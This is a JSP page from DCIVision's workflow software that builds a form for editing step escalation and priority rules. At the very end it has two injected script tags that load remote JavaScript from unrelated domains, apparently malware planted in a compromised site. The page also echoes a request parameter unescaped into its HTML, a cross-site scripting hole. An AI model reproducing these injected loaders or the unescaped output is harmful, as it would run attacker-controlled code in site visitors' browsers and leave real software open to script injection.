<%
/*
 * @(#)EditWorkflowStepPriorityRule.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowStepPriorityRule.jsp

  This class is reflecting business logic uses.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    23/11/2004
    @version          $Revision: 1.4.26.6 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintMtmWorkflowStepPriorityRuleForm" scope="request" class="com.dcivision.workflow.web.MaintMtmWorkflowStepPriorityRuleForm"/>

<%
  int ruleTotal = 0;
  String priorityRuleListValue = "";
  String[] ruleArr = null;

  if (request.getAttribute("priorityRuleListValue") != null){
    priorityRuleListValue = (String) request.getAttribute("priorityRuleListValue");
  } else {
    priorityRuleListValue = request.getParameter("priorityRuleListValue");
  }

  if(!Utility.isEmpty(priorityRuleListValue)){
    ruleArr = TextUtility.splitString(priorityRuleListValue,"|");
    Arrays.sort(ruleArr);
    ruleTotal = ruleArr.length;
  }
%>


<%try{%>
<html:form action="workflow/MaintWorkflowProgressPriorityRule">
<html:javascript formName="maintMtmWorkflowStepPriorityRuleForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/


  List wfStepList = new ArrayList();
  if (!Utility.isEmpty( request.getAttribute("workflowStepList")) ){
    wfStepList = (List)request.getAttribute("workflowStepList");
  }


%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='currentStepID'/>

<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table width="640" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="workflow.label.workflow_step_priority_rule_list"/>
  <tr>
    <td colspan="2" ">&nbsp;<html:img src='Spacer.gif'  width='1' height='10'/></td>
  </tr>
  <tr>
    <td class="bodySmallBold" colspan="2"><B><bean:message key="workflow.label.please_setup_priority_rule"/>&nbsp;</B></td>
  </tr>
  <tr>
    <td colspan="2" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2" ><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td colspan="2">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td  width='70%'nowrap>
          <bean:message key="workflow.label.possible_priority_rule"/>
          </td>

        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td colspan="2" class="listTable">
      <table width="100%" border="0" cellpadding="0" cellspacing="1">

        <tr>
          <th nowrap><div class="firstSep"><bean:message key='workflow.label.step_name'/></div></th>
          <th nowrap><div class="sep"><bean:message key='workflow.label.trigger_point'/></div></th>
          <th nowrap><div class="sep"><bean:message key='workflow.label.trigger_type'/></div></th>
          <th nowrap><div class="sep"><bean:message key='workflow.label.escalate_level'/></div></th>
          <th nowrap><div class="sep"><bean:message key='workflow.label.notification_by'/><div></th>
          <th nowrap><div class="sep"></div></th>
        </tr>

        <tr class="listContent">
          <td><a href="#" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowProgress.do?navMode=V&workflowStepID='+document.maintMtmWorkflowStepPriorityRuleForm.workflowStepID.value,'DCIVisionProgressView',630, 300, 'scrollbars=yes')" ><html:img src='IconPopupSearch.gif' /></a>&nbsp;
            <html:select property='workflowStepID'>
              <%for(int i=0; i<wfStepList.size(); i++){
                  WorkflowStep tmpStep = (WorkflowStep)wfStepList.get(i);
              %>
              <option value='<%=tmpStep.getID()%>'><%=tmpStep.getStepName()%></option>
              <%}%>
            </html:select>
          </td>
          <td><html:integer property='escalateAtAmt' maxlength='3' size='3'/>
          </td>
          <td>
            <html:select property='escalateAtField'>
              <option value='<%=Calendar.DATE%>'><bean:message key='workflow.label.days'/></option>
              <option value='<%=Calendar.HOUR%>'><bean:message key='workflow.label.hours'/></option>
              <option value='<%=Calendar.MINUTE%>'><bean:message key='workflow.label.minutes'/></option>
            </html:select>
          </td>
          <td>
            <html:select property='escalateTrigger'>
              <option value='<%=MtmWorkflowProgressPriorityRule.AFTER_TASK_ARRIVED%>'><bean:message key='workflow.label.after_task_arrived'/></option>
              <option value='<%=MtmWorkflowProgressPriorityRule.BEFORE_DUE_DATE%>'><bean:message key='workflow.label.before_task_due_date'/></option>
            </html:select>
          </td>
          <td>
            <html:select property='escalateLevel'>
              <option value='-3'>-3</option>
              <option value='-2'>-2</option>
              <option value='-1'>-1</option>
              <option value='1' selected>+1</option>
              <option value='2'>+2</option>
              <option value='3'>+3</option>
            </html:select>

          </td>
          <td>
            <html:checkbox property='escalateAckMethodByEmail' value='<%=MtmWorkflowProgressPriorityRule.NOTIFY_BY_EMAIL%>'><bean:message key='alert.label.notification_E'/></html:checkbox>
            <html:checkbox property='escalateAckMethodBySystem' value='<%=MtmWorkflowProgressPriorityRule.NOTIFY_BY_SYSTEM%>'><bean:message key='alert.label.notification_S'/></html:checkbox>
          </td>
          <td> <a href="javascript://" onClick="return opAddFields();"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
          </td>
        </tr>
      </table>
    </td>
  </tr>

  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
 <%
    if (ruleTotal!=0) {
      String preStepID = "";
      int seqNo = 1;
      for (int i=0; i<ruleTotal; i++) {
         String tempRule = ruleArr[i];
         String[] elementArr = TextUtility.splitString(tempRule,",");
         if(!preStepID.equals(elementArr[0])){
           preStepID = elementArr[0];
           seqNo = 1;
      %>
  <tr>
    <td class="greyD" colspan='2' width="100%" align="left"><bean:message key='workflow.label.step_name'/>:&nbsp;
    <a href="#" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowProgress.do?navMode=V&workflowStepID=<%=elementArr[0]%>','DCIVisionProgressView',630, 300, 'scrollbars=yes')" ><html:img src='IconPopupSearch.gif' /></a>&nbsp;<%=elementArr[7]%></td>
  </tr>
  <%     }%>
  <tr>
    <td class="greyD" width="5%" align="right"><%=seqNo%>:&nbsp;</td>
    <td class="dataField" width="80%" align="left">
      <table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="100%" class="dataField"><nobr>
            &nbsp;&nbsp;&nbsp;&nbsp;<%=elementArr[1]%>
            <!-- Escalate Field Days/Hours/Minutes -->
            <%if(Calendar.DATE == Integer.parseInt(elementArr[2])) {%>
              <bean:message key='workflow.label.days'/>
            <%}else if (Calendar.HOUR == Integer.parseInt(elementArr[2])){%>
              <bean:message key='workflow.label.hours'/>
            <%}else{%>
              <bean:message key='workflow.label.minutes'/>
            <%}%>
            <!-- Trigger Type A/B -->
            <%if(MtmWorkflowProgressPriorityRule.AFTER_TASK_ARRIVED.equals(elementArr[3])){%>
              <bean:message key='workflow.label.after_task_arrived'/>
            <%}else{%>
              <bean:message key='workflow.label.before_task_due_date'/>
            <%}%>
            <!-- Escalate Level -->
            <%if(Integer.parseInt(elementArr[4])>0 ){%>
            , <bean:message key='workflow.label.priority_level' arg0='<%="+"+elementArr[4]%>'/>
            <%}else{%>
            , <bean:message key='workflow.label.priority_level' arg0='<%=elementArr[4]%>'/>
            <%}%>
            <!-- Notifition By -->
            <%if(!"null".equals(elementArr[5]) || !"null".equals(elementArr[6]) ){%>
            , <bean:message key='workflow.label.notification_by'/>
            <%}
              if(MtmWorkflowProgressPriorityRule.NOTIFY_BY_EMAIL.equals(elementArr[5]) && MtmWorkflowProgressPriorityRule.NOTIFY_BY_SYSTEM.equals(elementArr[6]) ) { %>
               <bean:message key='alert.label.notification_E'/> & <bean:message key='alert.label.notification_S'/>
            <%
              }else if(MtmWorkflowProgressPriorityRule.NOTIFY_BY_EMAIL.equals(elementArr[5])  ){%>
              <bean:message key='alert.label.notification_E'/>
            <%}else if(MtmWorkflowProgressPriorityRule.NOTIFY_BY_SYSTEM.equals(elementArr[6]) ){%>
              <bean:message key='alert.label.notification_S'/>
            <%}%>
          </nobr></td>
          <td class="dataField" width="20"><b>
          <input type="checkbox" name="deleteItem" value="<%=i%>" ><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;&nbsp;
        </b></td>
      </tr>
    </table>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
    <% seqNo ++;
      }

    }

  %>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>

  <input type="hidden" name="priorityRuleListValue" value="<%=priorityRuleListValue%>">

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
      <html:standardButton label="common.label.confirm" onClick="return custOpConfirm()"/> 
      <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    </td>
  </tr>
</table>

</td></tr></table>
<script language="Javascript">
<!--

function custOpConfirm() {
  var parent = window.opener;
  var priorityRuleListValue = "";
  var frm = document.maintMtmWorkflowStepPriorityRuleForm;
  var checked = false;

  priorityRuleListValue = frm.priorityRuleListValue.value;

  //if(priorityRuleListValue == ""){
    //alert("<bean:message key='workflow.label.please_setup_priority_rule'/>");
    //frm.escalateAtAmt.focus();
    //return false;
  //}

  var tmpRuleArr = priorityRuleListValue.split("|");
  priorityRuleListValue = "";

  for(var i=0; i<tmpRuleArr.length; i++){
    checked = false;
    if( frm.deleteItem && frm.deleteItem.length){
      for(var j=0; j<frm.deleteItem.length; j++){
        if(i == frm.deleteItem[j].value && frm.deleteItem[j].checked  ){
          checked = true;
          break;
        }
      }
    } else if(frm.deleteItem && frm.deleteItem.checked){
      checked = true;
      //alert("<bean:message key='workflow.message.must_reserve_one_priority_rule'/>");
      //frm.escalateAtAmt.focus();
      //return false;
    }
    if(!checked){
      if(priorityRuleListValue == ""){
        priorityRuleListValue = tmpRuleArr[i];
      } else {
        priorityRuleListValue += "|" + tmpRuleArr[i];
      }
    }
  }

  //if(priorityRuleListValue == ""){
    //alert("<bean:message key='workflow.label.please_setup_priority_rule'/>");
    //frm.escalateAtAmt.focus();
    //return false;
  //}

  opener.setPriorityRule("maintWorkflowProgressForm",priorityRuleListValue);
  window.close();
}



function opAddFields() {

  if(document.maintMtmWorkflowStepPriorityRuleForm.escalateAtAmt.value == ""){
    alert("<bean:message key='workflow.message.trigger_point_is_required'/>");
    document.maintMtmWorkflowStepPriorityRuleForm.escalateAtAmt.focus();
    return false;
  }

  document.maintMtmWorkflowStepPriorityRuleForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  document.maintMtmWorkflowStepPriorityRuleForm.submit();

  return(false);
}


-->
</script>
</html:form>


<%}catch(Exception e){}%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>